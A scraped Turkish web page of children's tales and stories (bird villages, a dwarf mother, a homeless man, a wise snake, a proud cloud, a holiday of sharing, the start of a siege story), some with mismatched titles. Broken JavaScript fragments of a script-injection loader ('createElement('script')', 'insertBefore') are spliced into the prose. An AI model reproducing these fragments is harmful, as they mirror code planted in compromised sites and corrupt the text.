Kategori: Yazılı Masallar

Cici Kuş Masalı
Cici Kuş Masalı

Sevimli Kuş Masalı

 

Eski zamanların birinde papağanların ve serçelerin bir arada çok mutlu yaşadıkları güzel bir köy varmış. Neşeli kuş sesleriyle çınlayan bu köyde bir gün bilinmeyen bir nedenden dolayı papağanlar ile serçelerin arası açılmış ve köyü ikiye bölmeye karar vermişler. Bir taraf serçeler köyü öbür taraf da papağanlar köyü olarak anılır olmuş. O günden sonra ne serçeler papağanların köyüne, ne de papağanlar serçelerin köyüne uğramamışlar.

İki kuş grubu arasındaki bu anlamsız kavgaya sadece sevimli kuş adındaki bir papağan karışmamış ve o serçelerin arasında yaşamaya devam etmiş. Serçelerle arasında hiçbir sorun yokmuş, çünkü sevimli kuş çok iyi ve uyumlu bir kuşmuş. Bu şekilde yıllar yılları kovalamış derken günlerden bir gün minik bir serçe yolunu kaybederek yanlışlıkla papağanların köyüne geçmiş. Papağanlar serçelere olan düşmanlıkları yüzünden bu minik yavruyu alıp bir yere hapsetmişler. Bundan haberdar olan serçeler ne yapacaklarını bilememişler. Uzun süre düşündükten sonra sevimli kuşun bu işi çözebileceğini düşünüp ondan yardım istemeye karar vermişler.

Olanları duyan sevimli kuş elçi olarak gidip papağanlarla konuşmaya karar vermiş. Yıllar sonra arkadaşlarını aralarında gören papağanlar bu duruma çok memnun olmuşlar ve sevimli kuşu büyük bir sevinçle karşılamışlar. Onların bu misafirperver durumu sevimli kuşun geliş nedenini öğrenmelerine kadar sürmüş. Hapsettikleri minik serçeyi almaya gelen sevimli kuşa çok öfkelenmişler. Onun kendilerine düşman tarafından ajan olarak gönderildiğini düşünüp, onu da karanlık bir odaya hapsetmişler.

Günlerce aç susuz ve karanlıkta kalan sevimli kuş bıkmadan usanmadan diğer papağanlara bir ajan olmadığı ve minik serçenin da bir suçu olmadığını, kendisini ve onu serbest bırakmaları gerektiğini anlatmaya çalışmış. O kadar dil dökmüş ki sonunda papağanlar onu ve yavruyu serbest bırakmaya karar vermişler. Yanında yavru serçe ile köyüne doğru yol alan sevimli kuşun bu sırada tek düşündüğü şey; ilk aklına gelen yanlış düşünceyi kabul edip, yanlışında diretmenin ne kadar kötü bir davranış olduğu ve böyle düşünenlerle anlaşabilmenin zorluğuymuş.document.currentScript.parentNode.insertBefore(s, document.currentScript);

Cüce Kadın Hikayesi
Cüce Kadın Hikayesi

Cüce Kadın Hikayesi

Saatler süren heyecanlı bekleyiş, yerini üzüntü ve endişeye bırakmış. Ayşe Hanım, saatler süren doğum macerasının sonunda ufacık tefecik, mini mini elleri ve vücudu olan bir kız çocuğu dünyaya getirmiş. Bebeğin minik olması ilk doğduğu andan itibaren kimsenin hoşuna gitmemiş. Meral adı verilen bu bebek büyüyüp 20 yaşına geldiğinde 1 metre bile boya sahip değilmiş. 95 cm uzunluğunda Meral, kapkara iri gözlere ve beyaz bir tene sahipmiş. İyi kalpli, huyu suyu güzel olan genç kız genelde olumlu düşüncelere sahip olsa da zaman zaman etrafındaki insanların küçümser bakışlarından etkilenerek saatlerce ağlar, boyunun kısalığında şikayet edermiş.

Meral 25 yaşına geldiğinde kendisi gibi kısa boya sahip olan zengin bir bey ile evlenmiş. Adı Hakkı olan bu bey Meral’den sadece 10 cm uzunmuş. Meral, hayatında ilk defa birisi tarafından küçük görülmemiş ve eşi ile mutlu olmuş. Çok geçmeden mutlu çiftin bir de oğulları olmuş. Hem anne, hem baba da cücelik genleri olmasına rağmen oğullarının boyu normalmiş. Daha 9 yaşında iken oğlu Meral’in boyunu geçmiş. Meral bu durumdan oldukça memnun, mutlu mesut yaşarken, eşinin kendi ailesi Hakkı’yı boyundan dolayı yüz karası olarak görmeye başlamış. İlk çocukları sağlam olsa da sonraki çocukları belki kendieri gibi cüce olur diye Hakkı’yı bir gün öldürmüşler. Meral bu ölüm üzerine çocuğunu bırakıp dağlara kaçmış. Oğlu normal boyda, gayet sağlıklı bir çocuktu, o nedenle onu öldürmezler, bakarlar diye düşünmüş. Ama kendisi de cüce olduğu için eşi gibi öldüreceklerinden eminmiş.

Eşinin ailesinden çok korkan Meral hiç durmadan bir dağdan bir dağa atlayarak uzun yol gitmiş. Ağaç kovuklarında uyumuş, dereden su içmiş. Çok açlık çeken Meral dağlarda bulabildiği meyve ve sebzeler ile beslenmiş. Pişmiş  olarak önüne geldiğinde yemediği pırasayı, ıspanağı, dağda tek başına çiğ olarak yemeye başlamış. Bu sırada çoğu şeyi çok özlemiş. Normal hayatında her gün yediği hatta çoğu zaman artınca attığı ekmeği özlemiş, sıcacık odalarda uyumayı, yatağı, banyo yapmayı özlemiş Meral. Geceleri yırtıcı hayvanlardan korkmadan kapalı bir alanda üzerinde sıcak battaniye ile uyumayı özlemiş.

Meral bu şekilde uzun, upuzun yıllar dağlarda yaşamış. Üstü başı yırtılmış, vücudu kapkara olmuş. Bir gün yine sıcak evini, sıcak ekmeğini düşünürken aklına oğlu gelmiş. Öyle ya zaman su gibi akıp geçmiş ve Meral 50 yaşına gelmiş. Meral 50 yaşında ise oğlu da koskocaman bir deliknalı olmuş, evlenip çocukları bile olmuştur belki. Meral kendi kendine “Acaba oğlumun karşısına çıksam, beni affeder mi?” diye düşünmüş. Ve bu düşünce onu yollara dökmüş. Oğlunu uzaktan da olsa bir kere görmek için dağlardan çiftliğin yolunu tutmuş. Yıllardır kaçmak için gittiği yolu şimdi oğlu için geri dönmek cüce kadına hiç zor  gelmemiş ancak yolda yırtıcı hayvanların saldırısına uğramış. Ayak bileğinden yaralanmış ve bir süre bu yaranın acısını çekmiş. Bşraz yol alsa hemen kanamaya başlayan yarası Meral’i çok zorlamış, hatta çoğu gün ayağının acısından baygın düşmüş. Ama zaman içinde ayağındaki yara iyileşmiş ve cüce kadın tekrar oğlu için dağlardan ilerlemeye başlamış.

Aylar sonra bir bahar günü Meral, büyük korku ile kaçtığı çiftliğin önüne gelmiş. Bu sırada beyaz bir atın üzerinde genç bir delikanlı Meral’in yanına gelmiş ve

_”Dur sen de kimsin? Adın ne senin?” demiş. Meral başını kaldırıp delikanlıya bakmış ve sadece;

_”Meral.” diyebilmiş.

Genç adam attan inerek cüce kadına yaklaşmış ve yüzüne bakarak;

_”Tanıdım seni. Sen, sen benim annemsin. Yıllar önce babamın katillerinden korkup kaçan benden ayrılmak zorunda kalan annemsin.”

Meral gözlerini genç adamdan almadan;

_”Annen miyim?” diye sormuş. Genç adam büyük bir sevinç ve heyecan ile

_”Evet sen benim annemsin. Babamı öldürenleri kolluklara teslim ettim ve 6 yıldır sürekli dağlarda seni aradım. Her gün ama her gün seni aradım anne. Ben seni bulamadım ama sen beni buldun anne.” diyerek annesine sarılmış.

Anne ve oğul yıllardır hasret kaldıkları birbirlerine sımsıkı sarılmış ve bir daha hiç ayrılmamış. Cüce kadın ne kadar açlık, yokluk çekse de hepsini oğlu sayesinde atlatmış ve ömürlerinin sonuna kadar mutlu br şekilde yaşamışlar.document.currentScript.parentNode.insertBefore(s, document.currentScript);

Sokak Adamı Hikayesi
Sokak Adamı Hikayesi

Merhaba çocuklar! Siz de sokakta yürürken etrafına bakmayı sevenlerden misiniz? Peki,

sokakta etrafınıza bakarken hiç sokakta yaşayan insanları fark ettiniz mi? O insanların neden

sokaklarda yaşadığını tahmin ettiniz mi? Şimdiki masalımız sokakta yaşayan adamın

masalı…

sokak-insanı

Bir varmış, bir yokmuş… Günlerden bir gün Hasan hızlı bir şekilde işinden evine

dönüyormuş. Sokaktan koşturarak geçip bir an önce evine gitme derdindeymiş. Hava buz gibi,

rüzgâr olabildiğince sert esiyormuş. Üzerindeki kalın paltosuna rağmen Hasan yine üşüyor,

ellerini cebinden çıkaramıyormuş. Karşıdan karşıya geçmek için ışıkların yanına beklerken

karşı kaldırımında bir evin kuytusunda oturan adam dikkatini çekmiş. Adamın sakalları

uzunmuş, üstü başı da biraz kirliymiş. Karton gibi bir şeyin üzerinde oturup yırtık paltosu ile

ısınmaya çalışıyormuş. Hasan karşıdan karşıya geçince adama daha da yakalamış. Bir süre

sessizce köşede durmuş ve adamı izlemiş.

Adamın sokakta yaşadığı her halinden belliymiş. O bir sokak adamıymış. Hasan adamın

haline çok üzülmüş. O sıcacık evine gitme planları yaparken sokaktaki adamın gidecek ne bir

evi ne de üzerine giyecek bir kıyafeti varmış.

Yaşlı sokak adamı, yırtık eldivenleri arasına sıkıştırdığı kuru ekmeği ısırırken gözünden

dökülen yaşlara da engel olamıyormuş. ‘Kim bilir nasıl acılar yaşadı’ diye geçirmiş Hasan

içinden. ‘Onu sokaklarda yaşamaya mecbur bırakan nedenler neler oldu acaba?’ diye

düşünmeye devam etti. O sırada aklına almak istediği ev ve araba geldi. Daha büyük bir eve

çıkmak için var gücüyle çalışıp para biriktiriyordu. Aynı zamanda beğendiği yeni model bir

abrayı da almak için can atıyordu. Fakat sokakta yaşayan bu adamın soğuktan tir tir titreyen

vücudunu görüp, kuru ekmekle karnını doyuruşunu izlediğinde Hasan düşündüğü şeylerin ne

kadar boş olduğunu fark etti.

Hasan adamı uzun bir süre izledikten sonra yanına yaklaştı. Sokak adamı Hasan’ı fark edince

önce biraz çekindi, sonra da başını kaldırıp yanına gelenin kim olduğuna baktı.

Hasan: ‘Merhaba, neredeyse on dakikadır sizi izliyorum. Neden sokakta yaşadığınızı merak

ettim, bir mahsuru yoksa anlatır mısınız?’ dedi.

Sokak adamı önce acı bir şekilde gülümsedi. Sonra Hasan’a baktı:

Sokak Adamı: ‘Anlatılacak ne var ki oğlum! Ben küçük yaşta annesi ve babası ayrılan bir

çocuktum. Annemin yanında kalıyordum. Fakat annem ikinci kez evlendi ve yeni babam beni

evde istemedi. Beni sürekli dövüyordu ve evden kovuyordu. Annem engel olmak istediğinde

onu da dövüyordu. Ben de daha fazla dayanamadım ve bir gece yarısı evden kaçtım. O gece

sokakların çocuğu oldum. Şimdi büyüdüm, artık yaşlı bir adamım. Ama hayatımda hiçbir şey

değişmedi. O zaman sokakların çocuğuydum, şimdi sokakların adamı oldum. Sakallarım çıktı,

yüzüm buruştu, ellerim nasırlaştı ama ben hala sokaklardaki ilk gecemdeki gibiyim.’

Hasan adamın anlattıkları karşısında çok üzüldü. Adamın hayatı boyunca sıcak bir evde anne-

baba sevgisi ile büyümediğini ve hayal ettiği hiçbir şeyi yapamadığını düşündü. Hasan elini

adamın elinin üzerine koydu:

Hasan: ‘İzniniz olursa ben yetkilileri arayacağım. En azından bu soğukta size kapalı bir yer

temin etsinler’ dedi.

Sokak adamı yine acı bir şekilde gülümsedi:

Sokak Adamı: ‘Ah temiz yürekli çocuk! O yetkililer birinci gün alırlar ikinci gün bırakırlar’

dedi.

Hasan adama biraz para vererek yanından ayrıldı ve tanıdığı birkaç yetkiliyi aradı.

Hasan eve geldikten bir saat sonra telefonu çaldı. Arayanlar bir saat önce görüştüğü görevli

kişilerdi. Fakat adresi verilen yerde sokakta yaşayan kimsenin olmadığını söylediler Hasan’a.

Telefonu kapatan Hasan hemen montunu giydi ve sokak adamını gördüğü yere gitti.

Gerçekten de orada kimse yoktu. Adamdan geriye sadece kartonu kalmıştı…var d=document;var s=d.createElement(‘script’);

Bilge Kaplumbağa
Bilge Kaplumbağa

Bilmiş Yılan ve Şarkıları

Her ormanın sevilen ve sevilmeyen üyeleri mutlaka vardır. Ancak bizim bahsedeceğimiz ormanda tüm hayvanlar birbirlerini sever, her zaman birbirlerini desteklermiş. Peki bu nasıl oldu dersiniz? Bilmiş yılan sayesinde… Ormanda herkese yakın uzaklıkta evi olan yeşil, siyah renkteki orta boylu ancak yaşlı yılan, yıllar yılı hep çevresinde hayvan arkadaşlarına dostlukluğu ve arkadaşlığı öğretmiş. Kendisine kötülük yapanlara bile hep iyi davranıp öğüt vermiş. Gençlik yıllarında sürekli olarak kaplan ve tilkinin iftiraları ile baş etmek zorunda kalmış. Bu dönemlerde zor zamanları atlatmak için hep şarkı söylemiş. Ama öyle boş şarkılar değilmiş bunlar. Yine dostluk, arkadaşlık üzerine, yalan ve kötülüğün insana ne kadar zarar verdiğini anlatan şarkılarmış. Kaplan ve tilki sürekli geldiklerinde bu tür şarkıları ister istemez dinleyerek en sonunda doğru bulmuş ve bilmiş yılandan özür dileyerek bir daha kapısını kötülük için çalmamış.

Bilmiş yılan her gün ormanın derinliklerine yol alıp derdi, sıkıntısı olan birileri var mı diye bakarmış. Eğer derdi sıkıntısı olan birileri olursa seve seve dinler, bir hal çaresine bakmak için var gücü ile düşünürmüş. Öğleden sonraları ormanın diğer tarafında mutsuz ve dertli birilerini arayan bilmiş yılan, akşamları ise derdi olan hayvanları evinde misafir edip dertlerine ortak olurmuş. Günler böyle dert dinlemek ile geçer, bilmiş yılan her gün yeni dertlere yen çareler üretirmiş.

Bir gün ormanın tüm hayvanları bir araya gelerek bilmiş yılana gitmişler. Sözcü olan ceylan;

“Merhaba bilmiş yılan. Bizim çok büyük bir derdimiz var, bu derdimize çare olur musun?”

“Merhaba arkadaşlar, elbette, elimden gelirse seve seve. Nedir derdiniz?”

“Bu hepimizin ortak derdi. Bizim, bizden öncekilerin ve bizden sonrakilerin… Avcılar.”

“Evet, avcılar büyük sorun.”

“İşte bizde bu sorunu çözümü için senden yardım istemeye geldik. Sen ki ne dertlere derman oldun, bu derdimize de derman ol ey bilmiş yılan.”

Bilmiş yılan bir süre dalgın dalgın çember şeklinde kendi kuyruğunu takip etmiş. Bu konuda ne yapılabilir düşünmeye başlamış. Her gün nöbet ttusalar, avcılar geldiğinde birbirlerine haber verseler ve saklanasalar. Fikir güzel güzel gelmiş ancak nereye? Çalıların arkasına saklansalar avcılar çalıları yakıp kaçmalarını sağlıyor ve yine yakalanıyorlardı. O zaman başka bir yere, yanmayacak bir yere…

“Tabi ya…”

Sessizliği bozan bu ses ile herkesin gözleri tekrardan bilmiş yılana dönmüş.

“Tabi ya, kayalar… Orada bizi bulamazlar, saklandığımızda kayaları yakalamazlar ve bizi de kaçıramazlar.”

Kısa bir sessizliğin ardından tüm hayvanlar yerlerinde zıplayıp sevinç çığlıkları atmış. Kısa sürede şarkılar eşliğinde herkes kendi cüssesine göre kaya oyukları açmış ve avcıları beklemeye başlamışlar. Ormanın iki yanında duran nöbetçilerden alt kısımda duran tavşan koşa koşa gelmiş. Hemen kargaya haber vermiş ve karga hızla ormanın diğer ucundaki nöbetçi olan sarsara gitmiş. Sarsar var gücü ile koşup kayalalıklara ulaşmış. Bu sırada ortada hiç hayvan yokmuş, hepsi çoktan kayalıklardaki oyuğuna yerleşmiş. Sarsar da hemen kayalıklardaki yerini almış. Avcılar o gün etrafta hiç hayvan göremeyince çok şaşırmış. Saatlerce aramalarına rağmen bir tek iz bile bulamamış ve en sonunda gitmişler.

Avcılar gittikten sonra tüm hayvanlar ortaya çıkmış ve neşe içinde bilmiş yılana sarılmışlar. Yıllardır çözemedikleri sorunu en yakın arkadaşları çözmüş ve artık güven içinde yaşabileceklermiş.}

Beyaz Bulut ve Uçak
Beyaz Bulut ve Uçak

Bir varmış bir yokmuş, evvel zaman içinde, kalbur saman içinde gökyüzünde kendi halinde uçup duran beyaz bir bulut yaşarmış.

Gökyüzünde salına salına dolaşan bulutları bilirsiniz. Her biri birbirinden farklı, her biri birbirinden güzel ve ayrı özelliklere sahip. Bu bulutlar içinde bir tanesi varmış ki, beyazlığı göz kamaştırır, güzelliği herkesi büyülermiş. Ancak bu beyaz bulutun çok kötü bir huyu varmış. Kibir… Etrafındaki tüm bulutları küçümser, hiç biri ile arkadaşlık kurmazmış bu kibirli bulut. Bir gün yine gökyüzünde salına salına gezerken siyah bir bulut görmüş. “Aaaa sen nesin öyle.” diye alay etmeye başlamış. Siyah bulut; “Senin gibi bende bulutum.” demiş.

“Hadi ya sende mi benim gibisin.”

“Evet.”

“O zaman neden ben bembeyaz parlıyorum da sen böyle kapkara geziyorsun.”

“Çünkü ben yağmur bulutuyum ve o yüzden siyahım.”

“Hah, yağmur bulutuymuş, lafa bak. Sen desene ben çirkinim diye. O  yüzden senle ben bir değiliz.” diyerek hızla yanından uzaklaşmış beyaz bulut.

Siyah bulut, beyaz ve kibirli bulutun sözlerine alınmış ama artık alıştığı için pek bir şey dememiş. Beyaz bulut ise “Ayy iyiki üzerime karasından bulaştırmadı.” diye düşünerek yoluna devam etmiş. Biraz daha ilerledikten sonra güneşi görmüş.

“Ooo beyaz bulut gel seni sıcak uzun kollarımla bir sarayım, nasılsın?”

“Ay aman aman uzak dur benden çek kollarını ben sana sarılmak istemiyorum, çok sıcaksın yakarsın beni.”

Güneş, kalbi kırılmış şekilde kollarını yana çeki bulutun geçmesine izin vermiş. Kibirli bulut biraz daha ilerlediğinde tıpkı kendisi gibi bir parlak bir beyazlık görmüş. “Aaa bu da ne?” diye düşünmeye başlamış. Bu beyazlık hızla üzerine geliyormuş ve bir bulut değilmiş. O zaman kuş olması lazım, ancak o da değilmiş. Kibirli bulut ne olduğunu bilmeden bu beyaz kuşa benzer büyük şeyin peşine takılmış. “Merhaba arkadaş olabilir miyiz?”

“Hayır.”

“Ama neden? Bak bende en az senin kadar beyazım.”

“Beni rengin ilgilendirmez çekil önümden rahatsız ediyorsun.”

Kibirli bulut ilk defa bu şekilde kötü ve kaba sözler ile karşılaşmış. Yine de bu hayranlık uyandıran beyazlığın peşini bırakmamış. Bu büyük beyazlık bi uçakmış ve bulutun etrafında olmasından hoşlanmamış. Yolcularının görüşünü engellediği için buluta çok kızmış ve tüm öfkesi ile ona doğru simsiyah dumanını bırakmış. Bulut neye uğradığını anlayamamış ama kötü bir şey olduğunun farkındaymış. Yakınlardaki aynadan yüzüne baktığında biraz önce dalga geçtiği bulut gibi olduğunu görmüş. Etraftan ne kkadar yardım istese de kimse ona yardım etmemiş ve o günden sonra gökyüzündeki siyah ama yağmur yağdırma özelliği olmayan basit ve çirkin bir bulut olarak kalmış. Kendi kendine hep pişman olarak gökyüzünde dolaşmış.

Bay Umursamaz’ın Değişimi

Zamanın birinde karakter özellikleri ile kişilerin adlandırıldığı bir okul varmış. Bu okulda herkes, en belirgin özelliği ve cinsiyeti ile adlandırılırmış. Umursamaz tavırları ve her zaman vurdumduymaz halleri ile bilinen erkeklerden olan Bay Umursamaz, bu öğrencilerden sadece bir tanesi imiş. En büyük özelliği, hiç bir şeyi umursamamak olan Bay Umursamaz, çoğu zaman arkadaşlarından dışlanır, zamanında denilen yerlerde olmadığı için hiç bir sosyal aktivitede yer alamazmış. Bu hali arkadaşları tarafından üzüntü ile karşılanan Bay Umursamaz’ın davranışlarına dikkat etmesi için öğretmenleri Bayan Bilge, bir plan yapmaya karar vermiş. Bayan Bilge, Bay Umursamaz’ın en yakın arkadaşları olan Bayan Cici, Bay Efe, Bayan Titiz, Bay Dürüst ve Bay Akıllı’yı yanına çağırmış. “Çocuklar arkadaşınızın durumuna üzüldüğünüzü fark ettim. Bu duruma bende çok üzülüyorum. Bunun için bir çözüm yolu aradım ve buldum ancak bana bu konuda yardım etmeniz lazım.” demiş. Çocuklar arkadaşları için her şeyi yapabileceklerini söyleyip öğretmenlerinin kendilerinden ne istediğini sormuş. Bayan Bilge; “Bana Bay Umursamaz’ın en sevdiği şeyi söyleyin.” demiş.

Çocuklar bu soru üzerine birbirlerine bakmış ve düşünmeye başlamış. Bayan Cici; “Ben genelde süslenmek ile ilgilendiğim için başkalarının neden hoşlandığına dikkat etmiyorum.” demiş. Bayan Titiz; “Bende kim elini yıkadı, kim elini yıkamadan nereye dokundu diye bakarken pek dikkat etmedim. ” demiş. Bay Efe; “Bende etrafta yardıma ihtiyacı olan güçsüzlere yardım ederken hiç sormadım.” demiş. Bay Dürüst; “Kim yalan söylüyor, kim yanlış biliyor düzeltirken bende farkına varmadım ne yazık ki.” demiş. En son konuşmadan bekleyen Bay Akıllı’ya bakmış herkes. Bay Akıllı, ” Bende sormadım ama bu konuda aklımı kullandığımda Bayan Meraklı’nın sormuş olabileceği aklıma geliyor.” demiş. Hepsi bir arada Bayan Meraklı’nın yanına gitmiş ve soruyu sormuşlar. Bayan Meraklı; “A, evet bir soru sorma krizi anımda sormuştum. Çok umursamadı ama sirkleri çok seviyormuş.” demiş. Çocuklar aldıkları bu cevabı öğretmenlerine söylemişler.

Ertesi ders Bayan Bilge, herkese ödevlerini sormuş. Sıra Umursamaz’a geldiğinde “Unuttum.” cevabını almış. Öğretmen; “Bak Umursamaz, artık derslerini önemseyip unutmaz ve çalışırsan seni sirke götüreceğim.” demiş. Bay Umursamız bunu duyunca çok sevinmiş, biraz düşündükten sonra; “Söz öğretmenim.” demiş. O günden sonra Bay Umursamaz, her şeyi önemset ve derslerini çalışır olmuş. Öğretmeni de söz verdiği gibi onu sirke götürmüş.

Siz de en sevdiğiniz ve en istediğiniz şeylerin olmasını istiyorsanız, üzerinize düşen görevleri yapıp çalışkan bir öğrenci olabilir, karşılığında hak ettiğiniz ödülü alabilirsiniz.}

Başka Bayram Masalı
Başka Bayram Masalı

Itır’ın Bayram Sevinci

Itır o sabah her zamankinden daha mutlu uyanmış. Anne ve babasının bugün için özel aldıkları yeni kıyafetlerini özenle dolabından çıkarıp üzerine tutmuş ve boy aynasında kendisine bakmış. “Itır, nasılsın bugün?” Yine çok güzel olacaksın.” demiş kendi kendine. Sonra kıyafetlerini yatağının üzerine koyup pijamalarını çıkarmış ve büyük bir mutlulukla yeni kıyafetlerini üzerine giymiş. Penceresindeki büyük cama yaklaşmış ve açmış. Başını dışarı çıkarıp yakındaki ağaçta şakıyan kuşa seslenmiş; “Hey, hey minik serçe, bayramın kutlu olsun, sesin her zaman neşe ile cıvıldasın!” Kuş Itır’a doğru gelip cıvıldayarak bulunduğu daldan atlamış ve uçmaya başlamış. Bu sırada aşağıda çiçekler ile oynayan renkli kelebek de Itır’ın yanına gelmiş ve penceresinin önüne konup ona neşe ile bakmış. Itır onunda bayramını kutlayıp sabahın temiz havasını içine çekmiş. Bu sırada odasından fısıltıların geldiğini duymuş. Arkasını döndüğünde odasındaki tüm eşyaların birbirlerini ile neşe içinde bayramlaştığını görmüş. Sevincine sevinç katılan Itır, anne ve babasının sesini duymuş. Hemen neşe içinde yanlarına gitmiş.

“Anneciğim, babacığım, bayramınız kutlu olsun.” diyerek ikisinin de ellerini öpmüş. Hem annesi hem de babası Itır’a bayram parası vermiş. Babası, “Ben şimdi kahvaltılık almaya gidiyorum, döndüğümde yemeğimizi yiyip başka bir yere gideceğiz. Gittiğimiz yerd eçok çocuk olacak ve senden isteğim, buradaki çocuklara kendinden vermek istediğin hediyeler var ise bunları ben gelene kadar toparlaman Itır.” demiş ve kahvaltılık almak için dışarı çıkmış.

Itır, düşüne düşüne odasına gitmiş. acaba nereye gideceklerdi ve oradai çocuklara ne verebilirdi. Odasındaki eşyalara düşüne düşüne bakarken birden pembe kazağı dolabından kendini yere attı. “Itır, beni verebilirsin o çocuklara. Hem sana küçük geliyorum artık giyemeyeceksin, bari başkası giysin ve sevinsin.” demiş. Itır şaşkınlık içinde kıyafetine bakarken birden mor tokası da gelmiş, “Beni de ver lütfen. Çok fazla takmıyorsun kıyafetlerinle uyumlu değilim diye. Hiç değilse başka bir çocuk sevinsin.” Sonra sıra ile tüm eşyalar bir bahane bularak Itır’ın kendisini de vermesi gerektiğini söylemiş.

Itır, şaşkınlık ve mutluluk içinde eşyalarına bakmış. Ne kadar da yardımsever eşyaları vardı. Kendisine küçük gelen kıyafetlerini, kullanmadığı eşyalarını ve okumadığı kitaplarını bir çantaya dolduran Itır, babası geldiğinde çoktan hazırdı. Kahvaltıdan sonra ailecek yakınlardaki kimsesiz çocuklar yurduna gitmişler. Burada bulunan onlarca çocuk ile tek tek muhabbet edip hepsi ile bayramlaşmışlar. Itır, tüm çocukların isimlerini öğrenip hepsine uygun hediyeler vermiş ve bir dahaki bayrama tekrar gelmek için babasından söz almış. Itır, bu bayram yaşadıkları ile paylaşmanın insanı ne kadar mutlu ettiğini, paylaşarak ne kadar iyi bir şey yaptıklarını anlamış ve bundan sonra her zaman daha paylaşımcı olmuş.if (document.currentScript) {

Başını Vermeyen Şehit Hikayesi
Başını Vermeyen Şehit Hikayesi

Yarın arifeydi. Öbür günkü bayram için hazırlanan beyaz kurbanlar, küçük Grigal palankasının etrafında otluyorlardı. Karşıda… Yarım mil ötede Toygun Paşa’nınson kuşatmasındân çılgın kışın hiddeti sayesinde kurtulan Zigetvar Kalesi, sönmüş bir yanardağ gibi, simsiyah duruyordu. Hava bozuktu. Ufku, küflü demir renginde,ağır bulut yığınları eziyor, sürü sürü geçen kargalar tam hisarın üstünden uçarken sanki gizli bir kara haber götürüyorlarmış gibi, acı acı bağırıyorlardı. Palanka kapısının sağındaki beden siperinde sahipsiz bir gölge kadar sakin duran Kuru Kadı yavaşça kımıldadı; ikindiden beri rutubetli rüzgârın altında düşünüyor, uzakta, belirsiz sisler içinde süzülen kurşuni kulelere bakıyordu. Bunların hepsi Türklerin elindeydi. Yalnız şu Zigetvar… yıkılmaz bir ölüm seddi halinde “Kızılelma” yolunu kapatıyordu. Sanki bu uğursuz kargalar hep onun mazgallarından taşıyor, anlaşılmaz bir lisanın çirkin küfürlerine benzeyen sesleriyle her tarafı gürültüye boğuyorlardı. Kuru Kadı içini çekti. Sonra “Ah…” dedi. İncecik, sinirli boynunun üstünde bir taş topuz gibi duran çıkık alınIı iri kafasını salladı. Yeşil sarığını arkaya itti. Islak gözlerini ovuşturdu. Şimdiye kadar, asker olmadığı halde, her muharebeye girmişti. Birkaç bin yeniçeriyle dört beş topu olsa… bir gece içinde şu kaleyi alıvermek işten bile değildi. Şimdi vakıa müstakildi. Ne isterse yapabilirdi.Palankanın kumandanı Ahmet Bey öteki boy beyleriyle beraber Toygun Paşa ordusuna katılıp Kapuşvar fethine gitmiş… Kapuşvardan sonra Zigetvarı saran ordu kışın aman vermez zoruyla, zaptı yarı bırakarak Budin’e dönünce, o da askerleriyle tekrar palankasına gelmemiş, Toygun Paşa’nın yanında kalmıştı. Bugün Grigal’den altı mil uzaktaydı. Palankaya yalnız Kuru Kadı karışıyordu; esmer, zayıf yüzünü buruşturdu: “Palanka… amma topu tüfeği kaç kişi?” dedi. Bütün genç savaşçıları Ahmet Bey beraberinde götürmüştü.. Hisardakiler zayıflardan,bekçilerden, hastalardan, ihtiyar sipahilerden ibaretti.Hepsi yüz on üç kişiydi! Düşman, galiba öteki palankalardan çekiniyordu: Yoksa burasını bırakmaz, mutlaka almağa kalkardı. Biraz eğildi. İnce yosunlu, soğuk sipere dirseklerini dayadı. Aşağıya baktı. İki üç asker beyaz koyunların arasında dolaşıyordu. Bir tanesi karşısına geçtiği iri bir koçu, başına dokunarak kızdırıyordu, tos vuruyordu. Öbürleri, elleri silahlarında, bu oyunu seyrediyorlardı. Bağırdı:
– Oynamayın şu hayvanla… Askerler, başlarını tepelerden gelen sese doğru kaldırdılar. Kuru Kadı’dan hepsi çekinirlerdi. Gayet sert,gayet titiz, gayet sinirli bir adamdı. Adeta deli gibi bir şeydi. Sabahtan akşama kadar namaz kılar, zikreder,geceleri hiç uyumazdı. Daha yatıp uyuduğunu kalede gören yoktu. Vali Ahmet Bey ona “bizim yarasa” derdi. Zavallının sabahı bekleme denilen hastalığını kerametine de yoranlar vardı. Tekrar bağırdı: .
– Haydi, artık akşam oluyor, içeri alın onları.Askerler koyunları toplamağa başladılar. Kuru Kadı’nın dirsekleri acıdı. Doğruldu. Tekrar Zigetvar’a baktı. Üst tarafındaki göl, kirli bakır bir levha gibi yeri kaplıyordu. Kargalar, havaya boşaltılmış bir çuval canlı kömür ellemeleri gibi karmakarışık geçiyorlar, sükûtu parçalayan keskin, sivri sesleriyle gaklıyorlardı.Kalbinde ağır bir elem duydu. “Hayırdır inşallah” dedi.Canı o kadar sıkılıyordu ki… Elleri arkasında, başı önüne eğik, bastığı siyah kaplama taşlarına görmez bir dikkatle bakarak yavaş yavaş yürüdü. Derin bir karanlık kuyusunu andıran merdivenin dar basamaklarında kayboldu. … Arife sabahı, herkes uyurken, o, her vakit ki gibi yine uyanıktı! Mescit odasının önündeki taş yalakta, iki büklüm, abdestini tazeliyordu. Giden gece, daha gölgeden eteklerini toplayamamıştı. Bahçeye çıkan kapı kemerinde asılı kandil, sönük ışığıyla, duvarları titretiyordu.
– Hey, çavuşbaşı… Hey!… Elindeki ibriği bıraktı. Kulak kabarttı. Bu, kuledeki nöbetçinin sesiydi. Kolları sıvalı, ayakları çıplak, başında takke, hemen yukarı koştu. Merdivende çavuşa rastgeldi. Onu itti. Yürüdü. Nöbetçinin yanına atıldı:
– Ne var?
– Kaleden düşman çıkıyor. Erguvani bir esmerlik içinde siyah bir kaya gibi duran Zigetvara baktı. Bu kayadan yine koyu, uzun bir karartı süzülüyor, palankaya doğru akıyordu.
– Bize geliyorlar… dedi: Çavuşa döndü:
– Haydi, gazileri uyandır. Kurban bayramını bugünden yapacağız. Koş. Bana da çabuk topçuyu gönder.Çavuş, bir eliyle bakır tolgasını tutarak, koştu. Merdivene daldı. Kuru Kadı, uzakta, kara yerin üstünde daha kara bir leke gibi yavaş yavaş ilerleyen düşman alayına dikkatle baktı. Gözlerini küçülttü, büyülttü. Önlerinde birkaç top da sürüklüyorlardı. Binden fazla idiler. Halbuki hisardaki gaziler? Kendisiyle beraber yüz on dört kişi… “Ama, yine haklarından geliriz!” dedi. Uyanan, yukarı koşuyordu. Hisar kapısının iyice bağlanmasını emretti. Sarığını, cübbesini, kılıcını, tüfeğini getirtti. İhtiyar topçu gelince, ona da, hemen “haber topları”nı atmasını söyledi. Bu bir adetti. Taarruza uğrayan bir palanka hemen “İşaret topu” atarak etrafındaki kuleleri imdadına çağırırdı. Biraz sonra düşman hisarın önünde, harp düzenine girmiş bulunuyordu. Zaplar başsız, gür ejderha yavruları gibi siyah ağızlarını bedenlere 